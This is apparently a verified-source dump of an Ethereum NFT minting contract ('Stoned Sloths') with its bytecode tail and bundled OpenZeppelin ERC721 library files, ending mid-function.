b9050919050565b600060208201905081810360008301526111b081611064565b9050919050565b60006020820190506111cc6000830184611087565b92915050565b60006111dc6111ed565b90506111e88282611306565b919050565b6000604051905090565b600067ffffffffffffffff8211156112125761121161146c565b5b602082029050602081019050919050565b600082825260208201905092915050565b600061123f826112fc565b915061124a836112fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561127f5761127e6113df565b5b828201905092915050565b6000611295826112fc565b91506112a0836112fc565b9250828210156112b3576112b26113df565b5b828203905092915050565b60006112c9826112dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61130f826114af565b810181811067ffffffffffffffff8211171561132e5761132d61146c565b5b80604052505050565b6000611342826112fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611375576113746113df565b5b600182019050919050565b600061138b82611392565b9050919050565b600061139d826114c0565b9050919050565b6000819050919050565b60006113b9826112fc565b91506113c4836112fc565b9250826113d4576113d361140e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f47656e417274496e7465726661636556323a2063686f69636573206d7573742060008201527f68617665206174206c6561737420312076616c75650000000000000000000000602082015250565b61159d816112be565b81146115a857600080fd5b50565b6115b4816112d0565b81146115bf57600080fd5b50565b6115cb816112fc565b81146115d657600080fd5b5056fea26469706673582212202226eb2981345d0d512c4708f5494682f1354caf179f7f41c72b9c1d65e3a9af64736f6c63430008070033
[ 10, 5, 16 ]
0xf36942b31A45290e8A5a0FC33aB0798fD5977c06
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; // Contract: Stoned Sloths // Author: Seth Kawalec // ---- CONTRACT BEGINS HERE ---- contract NFT is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI = "https://gateway.pinata.cloud/ipfs/QmZbuPCPj8wseDnDGi4rQLdYEJTuLPQZTNq57HjgGgJtyG/"; string public baseExtension = ".json"; uint256 public presalePrice = 0.06 ether; uint256 public presaleAmount = 250; uint256 public normalPrice = 0.09 ether; uint256 public maxSupply = 999; uint256 public maxMintAmount = 5; bool public paused = false; uint256 public walletLimit = 5; address public OwnerWallet = 0x4e7C0863c075f29fd6a6629b6dA777C92f68e61d; address public MarketingWallet = 0x7B3b9CFE3A883fdAdD61CD454cBe41f29a2Af2Af; uint256 public duration = 7 days; uint256 public endedTime; uint256 public startTime; constructor() ERC721("Stoned Sloths", "STOSLO") { startTime = block.timestamp; endedTime = startTime + duration; } modifier endDuration() { require(block.timestamp > endedTime, "Not Yet"); _; } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused, "Mint Paused."); require(_mintAmount > 0, "You can't mint zero NFT."); require( _mintAmount <= maxMintAmount, "You can't mint more then Max Mint Amount at once." ); require(supply + _mintAmount <= maxSupply, "You can't mint more then "); require( (balanceOf(msg.sender) + _mintAmount) <= walletLimit, "Wallet limit is reached." ); uint256 totalPrice = 0; if (supply + _mintAmount <= presaleAmount) totalPrice = presalePrice * _mintAmount; if (supply < presaleAmount && supply + _mintAmount > presaleAmount) totalPrice = presalePrice * (presaleAmount - supply) + normalPrice * (supply + _mintAmount - presaleAmount); if (supply >= presaleAmount) totalPrice = normalPrice * _mintAmount; require(msg.value >= totalPrice, totalPrice.toString()); for (uint256 i; i < _mintAmount; i++) { _safeMint(_to, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent Boo Crew NFT" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setWalletLimit(uint256 _newWalletLimit) public onlyOwner { walletLimit = _newWalletLimit; } function setMaxMintAmountAndWalletLimit( uint256 _newmaxMintAmount, uint256 _newWalletLimit ) public onlyOwner { maxMintAmount = _newmaxMintAmount; walletLimit = _newWalletLimit; } // This sets the max supply. This will be set to 10,000 by default, although it is changable. function setMaxSupply(uint256 _newSupply) public onlyOwner { maxSupply = _newSupply; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function setDuration(uint256 amount) public onlyOwner { duration = amount * 10 minutes; endedTime = startTime + duration; } function payReward(address to, uint256 amount) public endDuration onlyOwner { require(payable(to).send(amount)); } function withdraw() public endDuration { if (msg.sender == OwnerWallet) require( payable(msg.sender).send( (address(this).balance * uint256(80)) / uint256(100) ) ); if (msg.sender == MarketingWallet) require( payable(msg.sender).send( (address(this).balance * uint256(20)) / uint256(100) ) ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function 